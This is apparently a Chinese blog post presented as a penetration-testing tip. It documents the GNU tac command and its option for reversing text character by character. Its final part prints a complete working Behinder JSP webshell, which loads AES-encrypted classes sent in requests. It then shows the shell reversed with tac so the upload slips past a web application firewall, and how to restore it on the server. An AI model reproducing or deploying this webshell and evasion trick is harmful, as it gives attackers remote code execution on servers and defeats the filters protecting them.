渗透测试小技巧之tac命令 反向输出文件

渗透测试小技巧之tac命令 反向输出文件

tac命令简介

连接多个文件并以行为单位反向打印到标准输出。

概要

tac [OPTION]... [FILE]...

主要用途

  • 按行为单位反向显示文件内容,如果没有文件或文件为-则读取标准输入。
  • 处理多个文件时,依次将每个文件反向显示,而不是将所有文件连在一起再反向显示。

参数

FILE(可选):要处理的文件,可以为一或多个。

选项

长选项与短选项等价

-b, --before              在之前而不是之后连接分隔符。
-r, --regex               将分隔符作为基础正则表达式(BRE)处理。
-s, --separator=STRING    使用STRING作为分隔符代替默认的换行符。
--help                    显示帮助信息并退出。
--version                 显示版本信息并退出。

返回值

返回状态为成功除非给出了非法选项或非法参数。

例子

# 选自官方info文档的例子:
# 一个接着一个字符的反转一个文件:
tac -r -s 'x\|[^x]' test.log

# 关于-b选项:
seq 1 3 |tac
# 输出
3
2
1
# 使用-b选项:
seq 1 3 |tac -b
# 输出,注意21后面没有换行符:


3
21
# 前一个例子相当于将 '1\n2\n3\n' 转换为 '3\n2\n1\n'
# 前一个例子相当于将 '1\n2\n3\n' 转换为 '\n\n3\n21'

注意

  1. 该命令是GNU coreutils包中的命令,相关的帮助信息请查看man -s 1 tacinfo coreutils 'tac invocation'
  2. 关于基础正则表达式(BRE)的内容,详见man -s 1 grepREGULAR EXPRESSIONS段落。

使用示例[举个例子]

新建一个名为a的文件,如下所示:

admin
A
B
C
D
E
渗透测试小技巧之tac命令 反向输出文件
tac a

使用tac命令后将会变成这样的:

E
D
C
B
A
admin

对比一下cat和tac

渗透测试小技巧之tac命令 反向输出文件

也可以反转每一个字符,例如文件a是admin,可以反转为nimda

tac -r -s 'x\|[^x]' a
渗透测试小技巧之tac命令 反向输出文件

如下所示是一个正常的冰蝎马[jsp]

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

直接上传可能会被waf拦截,我们可以使用tac命令将其逐字符反转,命令如下

tac -r -s 'x\|[^x]' shell.jsp >> 2.jsp

2.jsp现在如下所示,这样反转过的jsp木马waf未必会拦截:

>%;)txetnoCegap(slauqe.)(ecnatsnIwen.))))(eniLdaer.)(redaeRteg.tseuqer(reffuBedoced.)(redoceD46ESAB.csim.nus wen(laniFod.c(g.))(redaoLssalCteg.)(ssalCteg.siht(U wen;))"SEA",)(setyBteg.)""+)"u"(eulaVteg.noisses((cepSyeKterceS wen,2(tini.c;)"SEA"(ecnatsnIteg.rehpiC=c rehpiC};nruter;)k(tnirp.tuo;)k,"u"(eulaVtup.noisses;)61(gnirtsbus.)"","-"(ecalper.))(DIUUmodnar.DIUU+""(=k gnirtS{)llun=!)"ssap"(retemaraPteg.tseuqer(fi%<>%}};)htgnel.b,0,b(ssalCenifed.repus nruter{)b][ etyb(g ssalC cilbup};)c(repus{)c redaoLssalC(U{redaoLssalC sdnetxe U ssalc!%<>%"*.ceps.otpyrc.xavaj,*.otpyrc.xavaj,*.litu.avaj"=tropmi egap@%<

如果成功上传/创建了这样反转的webshell,接下来再次反转变成正常的webshell,中间的waf就相当于绕过了.

渗透测试小技巧之tac命令 反向输出文件

当然,也可以其他方式使用.
日常生活中可以用它反转后看日志.
CTF中一般会出这种题.

防守方应该禁用此类奇奇怪怪的命令,以免root权限不保.

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注